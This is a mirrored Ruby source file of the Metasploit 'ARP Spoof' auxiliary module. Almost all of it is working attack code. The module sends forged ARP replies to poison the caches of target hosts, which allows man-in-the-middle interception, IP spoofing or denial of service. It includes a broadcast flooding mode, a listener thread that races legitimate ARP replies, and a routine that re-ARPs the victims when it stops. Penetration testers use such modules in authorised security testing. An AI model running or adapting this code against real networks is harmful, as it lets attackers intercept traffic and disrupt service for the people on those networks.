Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

arp_poisoning.rb 15KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Auxiliary
  7. include Msf::Exploit::Remote::Capture
  8. include Msf::Auxiliary::Report
  9. def initialize
  10. super(
  11. 'Name' => 'ARP Spoof',
  12. 'Description' => %q{
  13. Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
  14. },
  15. 'Author' => 'amaloteaux', # msf rewrite
  16. #tons of people ....
  17. 'License' => MSF_LICENSE,
  18. 'References' =>
  19. [
  20. ['OSVDB', '11169'],
  21. ['CVE', '1999-0667'],
  22. ['URL', 'http://en.wikipedia.org/wiki/ARP_spoofing']
  23. ],
  24. 'DisclosureDate' => 'Dec 22 1999' #osvdb date
  25. )
  26. register_options([
  27. OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),
  28. OptString.new('SMAC', [false, 'The spoofed mac']),
  29. OptString.new('DHOSTS', [true, 'Target ip addresses']),
  30. OptString.new('INTERFACE', [false, 'The name of the interface']),
  31. OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),
  32. OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),
  33. OptBool.new( 'LISTENER', [true, 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible', true])
  34. ], self.class)
  35. register_advanced_options([
  36. OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC']),
  37. OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
  38. OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
  39. OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
  40. # This mode will generate address ip conflict pop up on most systems
  41. OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
  42. ], self.class)
  43. deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
  44. end
  45. def run
  46. open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
  47. @netifaces = true
  48. if not netifaces_implemented?
  49. print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
  50. @netifaces = false
  51. end
  52. @spoofing = false
  53. # The local dst (and src) cache(s)
  54. @dsthosts_cache = {}
  55. @srchosts_cache = {}
  56. # Some additional caches for autoadd feature
  57. if datastore['AUTO_ADD']
  58. @dsthosts_autoadd_cache = {}
  59. if datastore['BIDIRECTIONAL']
  60. @srchosts_autoadd_cache = {}
  61. end
  62. end
  63. begin
  64. @interface = datastore['INTERFACE'] || Pcap.lookupdev
  65. #This is needed on windows cause we send interface directly to Pcap functions
  66. @interface = get_interface_guid(@interface)
  67. @smac = datastore['SMAC']
  68. @smac ||= get_mac(@interface) if @netifaces
  69. raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
  70. raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
  71. @sip = datastore['LOCALSIP']
  72. @sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
  73. raise "LOCALSIP is not defined and can not be guessed" unless @sip
  74. raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
  75. shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
  76. @shosts = []
  77. if datastore['BIDIRECTIONAL']
  78. shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
  79. else
  80. shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
  81. end
  82. if datastore['BROADCAST']
  83. broadcast_spoof
  84. else
  85. arp_poisoning
  86. end
  87. rescue => ex
  88. print_error( ex.message)
  89. ensure
  90. if datastore['LISTENER']
  91. @listener.kill if @listener
  92. end
  93. if capture and @spoofing and not datastore['BROADCAST']
  94. print_status("RE-ARPing the victims...")
  95. 3.times do
  96. @dsthosts_cache.keys.sort.each do |dhost|
  97. dmac = @dsthosts_cache[dhost]
  98. if datastore['BIDIRECTIONAL']
  99. @srchosts_cache.keys.sort.each do |shost|
  100. smac = @srchosts_cache[shost]
  101. if shost != dhost
  102. vprint_status("Sending arp packet for #{shost} to #{dhost}")
  103. reply = buildreply(shost, smac, dhost, dmac)
  104. inject(reply)
  105. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  106. end
  107. end
  108. else
  109. @shosts.each do |shost|
  110. if shost != dhost
  111. vprint_status("Sending arp request for #{shost} to #{dhost}")
  112. request = buildprobe(dhost, dmac, shost)
  113. inject(request)
  114. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  115. end
  116. end
  117. end
  118. end
  119. if datastore['BIDIRECTIONAL']
  120. @srchosts_cache.keys.sort.each do |shost|
  121. smac = @srchosts_cache[shost]
  122. @dsthosts_cache.keys.sort.each do |dhost|
  123. dmac = @dsthosts_cache[dhost]
  124. if shost != dhost
  125. vprint_status("Sending arp packet for #{dhost} to #{shost}")
  126. reply = buildreply(dhost, dmac, shost, smac)
  127. inject(reply)
  128. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  129. end
  130. end
  131. end
  132. end
  133. end # 3.times
  134. end
  135. close_pcap
  136. end #begin/rescue/ensure
  137. end
  138. def broadcast_spoof
  139. print_status("ARP poisoning in progress (broadcast)...")
  140. while(true)
  141. @shosts.each do |shost|
  142. vprint_status("Sending arp packet for #{shost} address")
  143. reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
  144. inject(reply)
  145. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  146. end
  147. end
  148. end
  149. def arp_poisoning
  150. lsmac = datastore['LOCALSMAC'] || @smac
  151. raise RuntimeError ,'Local Source Mac is not in correct format' unless is_mac?(lsmac)
  152. dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
  153. @dhosts = []
  154. dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
  155. #Build the local dest hosts cache
  156. print_status("Building the destination hosts cache...")
  157. @dhosts.each do |dhost|
  158. vprint_status("Sending arp packet to #{dhost}")
  159. probe = buildprobe(@sip, lsmac, dhost)
  160. inject(probe)
  161. while(reply = getreply())
  162. next if not reply.is_arp?
  163. #Without this check any arp request would be added to the cache
  164. if @dhosts.include? reply.arp_saddr_ip
  165. print_status("#{reply.arp_saddr_ip} appears to be up.")
  166. report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
  167. @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
  168. end
  169. end
  170. end
  171. #Wait some few seconds for last packets
  172. etime = Time.now.to_f + datastore['TIMEOUT']
  173. while (Time.now.to_f < etime)
  174. while(reply = getreply())
  175. next if not reply.is_arp?
  176. if @dhosts.include? reply.arp_saddr_ip
  177. print_status("#{reply.arp_saddr_ip} appears to be up.")
  178. report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
  179. @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
  180. end
  181. end
  182. Kernel.select(nil, nil, nil, 0.50)
  183. end
  184. raise RuntimeError, "No hosts found" unless @dsthosts_cache.length > 0
  185. #Build the local src hosts cache
  186. if datastore['BIDIRECTIONAL']
  187. print_status("Building the source hosts cache for unknow source hosts...")
  188. @shosts.each do |shost|
  189. if @dsthosts_cache.has_key? shost
  190. vprint_status("Adding #{shost} from destination cache")
  191. @srchosts_cache[shost] = @dsthosts_cache[shost]
  192. next
  193. end
  194. vprint_status("Sending arp packet to #{shost}")
  195. probe = buildprobe(@sip, lsmac, shost)
  196. inject(probe)
  197. while(reply = getreply())
  198. next if not reply.is_arp?
  199. if @shosts.include? reply.arp_saddr_ip
  200. print_status("#{reply.arp_saddr_ip} appears to be up.")
  201. report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
  202. @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
  203. end
  204. end
  205. end
  206. #Wait some few seconds for last packets
  207. etime = Time.now.to_f + datastore['TIMEOUT']
  208. while (Time.now.to_f < etime)
  209. while(reply = getreply())
  210. next if not reply.is_arp?
  211. if @shosts.include? reply.arp_saddr_ip
  212. print_status("#{reply.arp_saddr_ip} appears to be up.")
  213. report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
  214. @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
  215. end
  216. end
  217. Kernel.select(nil, nil, nil, 0.50)
  218. end
  219. raise RuntimeError, "No hosts found" unless @srchosts_cache.length > 0
  220. end
  221. if datastore['AUTO_ADD']
  222. @mutex_cache = Mutex.new
  223. end
  224. #Start the listener
  225. if datastore['LISTENER']
  226. start_listener(@dsthosts_cache, @srchosts_cache)
  227. end
  228. #Do the job until user interupt it
  229. print_status("ARP poisoning in progress...")
  230. @spoofing = true
  231. while(true)
  232. if datastore['AUTO_ADD']
  233. @mutex_cache.lock
  234. if @dsthosts_autoadd_cache.length > 0
  235. @dsthosts_cache.merge!(@dsthosts_autoadd_cache)
  236. @dsthosts_autoadd_cache = {}
  237. end
  238. if datastore['BIDIRECTIONAL']
  239. if @srchosts_autoadd_cache.length > 0
  240. @srchosts_cache.merge!(@srchosts_autoadd_cache)
  241. @srchosts_autoadd_cache = {}
  242. end
  243. end
  244. @mutex_cache.unlock
  245. end
  246. @dsthosts_cache.keys.sort.each do |dhost|
  247. dmac = @dsthosts_cache[dhost]
  248. if datastore['BIDIRECTIONAL']
  249. @srchosts_cache.keys.sort.each do |shost|
  250. smac = @srchosts_cache[shost]
  251. if shost != dhost
  252. vprint_status("Sending arp packet for #{shost} to #{dhost}")
  253. reply = buildreply(shost, @smac, dhost, dmac)
  254. inject(reply)
  255. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  256. end
  257. end
  258. else
  259. @shosts.each do |shost|
  260. if shost != dhost
  261. vprint_status("Sending arp packet for #{shost} to #{dhost}")
  262. reply = buildreply(shost, @smac, dhost, dmac)
  263. inject(reply)
  264. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  265. end
  266. end
  267. end
  268. end
  269. if datastore['BIDIRECTIONAL']
  270. @srchosts_cache.keys.sort.each do |shost|
  271. smac = @srchosts_cache[shost]
  272. @dsthosts_cache.keys.sort.each do |dhost|
  273. dmac = @dsthosts_cache[dhost]
  274. if shost != dhost
  275. vprint_status("Sending arp packet for #{dhost} to #{shost}")
  276. reply = buildreply(dhost, @smac, shost, smac)
  277. inject(reply)
  278. Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
  279. end
  280. end
  281. end
  282. end
  283. end
  284. end
  285. def is_mac?(mac)
  286. if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
  287. else false end
  288. end
  289. def buildprobe(shost, smac, dhost)
  290. p = PacketFu::ARPPacket.new
  291. p.eth_saddr = smac
  292. p.eth_daddr = "ff:ff:ff:ff:ff:ff"
  293. p.arp_opcode = 1
  294. p.arp_daddr_mac = p.eth_daddr
  295. p.arp_saddr_mac = p.eth_saddr
  296. p.arp_saddr_ip = shost
  297. p.arp_daddr_ip = dhost
  298. p
  299. end
  300. def buildreply(shost, smac, dhost, dmac)
  301. p = PacketFu::ARPPacket.new
  302. p.eth_saddr = smac
  303. p.eth_daddr = dmac
  304. p.arp_opcode = 2 # ARP Reply
  305. p.arp_daddr_mac = p.eth_daddr
  306. p.arp_saddr_mac = p.eth_saddr
  307. p.arp_saddr_ip = shost
  308. p.arp_daddr_ip = dhost
  309. p
  310. end
  311. def getreply
  312. pkt_bytes = capture.next
  313. return if not pkt_bytes
  314. pkt = PacketFu::Packet.parse(pkt_bytes)
  315. return unless pkt.is_arp?
  316. return unless pkt.arp_opcode == 2
  317. pkt
  318. end
  319. def start_listener(dsthosts_cache, srchosts_cache)
  320. if datastore['BIDIRECTIONAL']
  321. args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
  322. else
  323. args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
  324. end
  325. # To avoid any race condition in case of , even if actually those are never updated after the thread is launched
  326. args[:AUTO_ADD] = datastore['AUTO_ADD']
  327. args[:localip] = @sip.dup
  328. @listener = Thread.new(args) do |args|
  329. begin
  330. #one more local copy
  331. liste_src_ips = []
  332. if args[:BIDIRECTIONAL]
  333. args[:shosts].each_key {|address| liste_src_ips.push address}
  334. else
  335. args[:shosts].each {|address| liste_src_ips.push address}
  336. end
  337. liste_dst_ips = []
  338. args[:dhosts].each_key {|address| liste_dst_ips.push address}
  339. localip = args[:localip]
  340. listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
  341. listener_capture.setfilter("arp[6:2] == 0x0001")
  342. while(true)
  343. pkt_bytes = listener_capture.next
  344. if pkt_bytes
  345. pkt = PacketFu::Packet.parse(pkt_bytes)
  346. if pkt.is_arp?
  347. if pkt.arp_opcode == 1
  348. #check if the source ip is in the dest hosts
  349. if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
  350. (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
  351. vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
  352. reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
  353. 3.times{listener_capture.inject(reply.to_s)}
  354. elsif args[:AUTO_ADD]
  355. if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
  356. pkt.arp_saddr_ip != localip)
  357. @mutex_cache.lock
  358. print_status("#{pkt.arp_saddr_ip} appears to be up.")
  359. @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
  360. liste_dst_ips.push pkt.arp_saddr_ip
  361. @mutex_cache.unlock
  362. elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
  363. not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
  364. @mutex_cache.lock
  365. print_status("#{pkt.arp_saddr_ip} appears to be up.")
  366. @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
  367. liste_src_ips.push pkt.arp_saddr_ip
  368. @mutex_cache.unlock
  369. end
  370. end
  371. end
  372. end
  373. end
  374. end
  375. rescue => ex
  376. print_error("Listener Error: #{ex.message}")
  377. print_error("Listener Error: Listener is stopped")
  378. end
  379. end
  380. @listener.abort_on_exception = true
  381. end
  382. end